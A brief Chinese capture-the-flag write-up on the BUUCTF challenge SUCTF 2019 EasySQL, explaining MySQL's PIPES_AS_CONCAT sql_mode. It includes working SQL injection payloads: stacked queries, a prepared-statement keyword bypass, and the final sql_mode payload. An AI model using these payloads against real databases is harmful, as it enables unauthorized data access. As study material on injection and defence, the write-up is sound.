mysql中sql_mode內的pipes_as_concat
前言
- 環境buuctf中[SUCTF 2019]EasySQL
- pipes_as_concat
- 思路
- 參考wp
思路
先判斷是數字型注入還是字符型注入,1'和1'-- +之后回顯不正常,基本可以判定是數字型注入,然后fuzz測試發現過濾了挺多字符,如Flag,from,prepare,or,and
但是沒有過濾分號(😉,試着用堆疊注入
1;show tables;#
回顯表Flag
然后用
1;select * from Flag;#
回顯nonono
這里存在過濾,我一直想着怎樣繞過關鍵字的書寫,如:Flag和from,然后想到了預編譯
set @sql=concat('select * fr','om Fl','ag');
prepare aaa from @sql;
execute aaa;
沒想到這里還過濾了prepare,好吧,沒辦法了看了wp
非預期解
根據回顯輸入除了0以外的數字返回1,輸入0和字母時回顯0,大佬可以猜出后台執行方式
select $_POST[query]||flag from Flag
構造*,1
得到flag
預期解
pipes_as_concat
補充系統變量@@sql_modesql_mode:是一組mysql支持的基本語法及校驗規則
PIPES_AS_CONCAT:將“||”視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣的,也和字符串的拼接函數Concat相類似
select sql_mode;
select @@global.sql_mode;
select @@session.sql_mode;
payload:
1;set sql_mode=pipes_as_concat;select 1
得到flag